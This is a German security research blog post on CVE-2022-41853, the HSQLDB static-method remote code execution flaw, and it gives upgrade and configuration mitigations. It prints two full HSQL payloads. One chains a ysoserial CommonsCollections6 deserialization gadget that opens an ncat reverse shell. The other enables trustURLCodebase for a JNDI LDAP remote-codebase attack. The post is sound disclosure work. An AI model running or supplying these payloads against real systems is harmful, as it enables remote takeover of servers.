
Forschung zu CVE-2022-41853: Verwendung statischer Funktionen zur Erlangung von RCE durch Java-Deserialisierung & Remote-Codebase-Angriff
Wer java.sql.Statement oder java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) verwendet, um nicht vertrauenswürdige Eingaben zu verarbeiten, ist möglicherweise anfällig für einen Remote-Code-Execution-Angriff. Standardmäßig ist es erlaubt, jede statische Methode einer beliebigen Java-Klasse im Klassenpfad aufzurufen, was zu Codeausführung führt. Das Problem kann verhindert werden, indem auf 2.7.1 aktualisiert wird oder die Systemeigenschaft "hsqldb.method_class_names" auf die Klassen gesetzt wird, die aufgerufen werden dürfen. Beispielsweise kann System.setProperty("hsqldb.method_class_names", "abc") oder das Java-Argument -Dhsqldb.method_class_names="abc" verwendet werden. Ab Version 2.7.1 sind standardmäßig alle Klassen mit Ausnahme der in java.lang.Math nicht zugänglich und müssen manuell aktiviert werden.
Die ursprüngliche Offenlegung dieser Schwachstelle finden Sie hier.
OSS-Fuzz-Team
https://github.com/google/oss-fuzz
Im Jahr 2021 las ich den Blogbeitrag darüber, wie ein Pfadnormalisierungsangriff + HSQL-"CALL"-Abfragen verwendet werden können, um beliebige Java-Static-Methoden aufzurufen und so RCE zu erlangen.
Da ich damals Schwachstellen in Apache SOLR meldete und untersuchte, erinnerte ich mich daran, dass das JDBC-Stream-Beispiel HSQL verwendet, und ging daran, die Testumgebung einzurichten.

Hinweis: Leider betrifft diese Schwachstelle keine Standard-Apache-Solr-Server, da das HSQL-JAR speziell im Ordner "./server/solr-webapp/webapp/WEB-INF/lib/" abgelegt werden muss, damit der Treiber für die Stream-JDBC-Komponente erreichbar ist.
Da die RCE in F5 die Funktion "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" in der Datei "tmui.jar" verwendet (ein für F5-Anwendungen spezifisches JAR), und ich ein anwendungsunabhängiges Payload entwickeln wollte, untersuchte ich, wie ich häufig verwendete JARs (z. B. Apache Commons Collections, Apache Log4J) verketten kann, um statische Funktionen aufzurufen und RCE zu erlangen.
Da mir als Erstes die CommonsCollections*-Gadgets von ysoserial in den Sinn kamen, schlug ich den Weg der Java-Deserialisierung ein, mit den folgenden Ergebnissen:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') auf, um die unsichere Deserialisierung zu aktivieren (Warum eine Sicherheitsvorkehrung umgehen, wenn man sie ganz entfernen kann :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) als Senke für unsere Eingabe, um die Funktion ObjectInputStream(x).readObject() zu erreichenpublic static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) oder public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s), um unseren kodierten ysoserial-Payload-String in ein Byte-Array umzuwandeln, das von deserialize(byte[] objectData) verarbeitet wirdDas vollständige HSQL-Payload hat die folgende Form:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
Hinweis: In diesem Fall ist das ysoserial-Payload vom Typ CommonsCollection6 und führt den Reverse-Shell-Befehl ncat -e /bin/bash 127.1 4444 aus.
Hinweis 2: Das eigenständige HSQLDB.jar ist gegenüber diesem Payload nicht anfällig, da es das Apache-Commons-Collections-JAR nicht enthält. Diese Schwachstelle funktioniert (meistens), wenn HSQL in eine Webanwendung eingebunden ist (z. B. SOLR, Liferay usw.).
Weitere Details und den Ausnutzungsprozess finden Sie in diesem PDF.
Als ich mich 2023 mit diesem Thema befasste, stieß ich auf diese großartige Präsentation Exploring JNDI Attacks von iSafeBlue, die java.lang.System.setProperty verwendete, um com.sun.jndi.ldap.object.trustURLCodebase oder com.sun.jndi.rmi.object.trustURLCodebase auf true zu setzen und anschließend einen LDAP/RMI-Lookup durchzuführen, um erfolgreich einen Java-Remote-Codebase-Angriff auszuführen.
Beispiel-HSQL-Payload:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
Ergebnis:

Hinweis: Aus unbekannten Gründen funktioniert diese Schwachstelle mit der Standard-HSQLDB.jar, jedoch nicht in der HSQL + Apache-SOLR-Umgebung ¯\_(ツ)_/¯.